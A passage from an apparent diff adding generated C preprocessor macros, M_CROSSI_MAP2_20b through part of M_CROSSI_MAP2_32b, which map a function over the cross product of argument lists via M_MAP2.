+#define M_CROSSI_MAP2_20b(f, d, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a7), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a8), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a9), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a10), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a11), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a12), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a13), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a14), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a15), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a16), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a17), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a18), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a19), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a20), M_ID blist) 
+#define M_CROSSI_MAP2_21(...) M_CROSSI_MAP2_21b(__VA_ARGS__)
+#define M_CROSSI_MAP2_21b(f, d, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a7), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a8), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a9), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a10), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a11), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a12), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a13), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a14), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a15), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a16), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a17), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a18), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a19), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a20), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a21), M_ID blist) 
+#define M_CROSSI_MAP2_22(...) M_CROSSI_MAP2_22b(__VA_ARGS__)
+#define M_CROSSI_MAP2_22b(f, d, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a7), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a8), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a9), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a10), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a11), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a12), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a13), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a14), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a15), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a16), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a17), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a18), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a19), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a20), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a21), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a22), M_ID blist) 
+#define M_CROSSI_MAP2_23(...) M_CROSSI_MAP2_23b(__VA_ARGS__)
+#define M_CROSSI_MAP2_23b(f, d, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a7), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a8), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a9), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a10), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a11), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a12), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a13), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a14), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a15), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a16), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a17), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a18), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a19), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a20), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a21), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a22), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a23), M_ID blist) 
+#define M_CROSSI_MAP2_24(...) M_CROSSI_MAP2_24b(__VA_ARGS__)
+#define M_CROSSI_MAP2_24b(f, d, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a7), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a8), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a9), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a10), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a11), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a12), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a13), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a14), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a15), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a16), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a17), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a18), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a19), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a20), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a21), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a22), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a23), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a24), M_ID blist) 
+#define M_CROSSI_MAP2_25(...) M_CROSSI_MAP2_25b(__VA_ARGS__)
+#define M_CROSSI_MAP2_25b(f, d, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a7), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a8), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a9), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a10), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a11), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a12), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a13), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a14), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a15), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a16), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a17), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a18), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a19), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a20), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a21), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a22), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a23), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a24), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a25), M_ID blist) 
+#define M_CROSSI_MAP2_26(...) M_CROSSI_MAP2_26b(__VA_ARGS__)
+#define M_CROSSI_MAP2_26b(f, d, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a7), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a8), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a9), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a10), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a11), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a12), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a13), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a14), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a15), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a16), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a17), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a18), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a19), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a20), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a21), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a22), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a23), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a24), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a25), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a26), M_ID blist) 
+#define M_CROSSI_MAP2_27(...) M_CROSSI_MAP2_27b(__VA_ARGS__)
+#define M_CROSSI_MAP2_27b(f, d, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a7), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a8), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a9), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a10), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a11), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a12), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a13), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a14), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a15), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a16), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a17), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a18), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a19), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a20), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a21), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a22), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a23), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a24), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a25), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a26), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a27), M_ID blist) 
+#define M_CROSSI_MAP2_28(...) M_CROSSI_MAP2_28b(__VA_ARGS__)
+#define M_CROSSI_MAP2_28b(f, d, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a7), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a8), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a9), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a10), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a11), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a12), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a13), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a14), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a15), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a16), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a17), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a18), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a19), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a20), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a21), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a22), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a23), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a24), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a25), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a26), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a27), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a28), M_ID blist) 
+#define M_CROSSI_MAP2_29(...) M_CROSSI_MAP2_29b(__VA_ARGS__)
+#define M_CROSSI_MAP2_29b(f, d, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a7), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a8), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a9), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a10), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a11), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a12), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a13), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a14), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a15), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a16), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a17), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a18), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a19), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a20), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a21), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a22), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a23), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a24), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a25), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a26), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a27), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a28), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a29), M_ID blist) 
+#define M_CROSSI_MAP2_30(...) M_CROSSI_MAP2_30b(__VA_ARGS__)
+#define M_CROSSI_MAP2_30b(f, d, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a7), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a8), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a9), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a10), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a11), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a12), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a13), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a14), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a15), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a16), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a17), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a18), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a19), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a20), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a21), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a22), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a23), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a24), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a25), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a26), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a27), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a28), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a29), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a30), M_ID blist) 
+#define M_CROSSI_MAP2_31(...) M_CROSSI_MAP2_31b(__VA_ARGS__)
+#define M_CROSSI_MAP2_31b(f, d, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a7), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a8), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a9), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a10), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a11), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a12), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a13), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a14), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a15), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a16), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a17), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a18), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a19), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a20), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a21), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a22), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a23), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a24), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a25), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a26), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a27), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a28), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a29), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a30), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a31), M_ID blist) 
+#define M_CROSSI_MAP2_32(...) M_CROSSI_MAP2_32b(__VA_ARGS__)
+#define M_CROSSI_MAP2_32b(f, d, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a7), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a8), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a9), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a10), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a11), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a12), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a13), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a14), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a15), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a16), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a17), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a18), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a19), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a20), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a21), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a22), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a23), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a24), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a25), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a26), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a27), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a28), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a29), 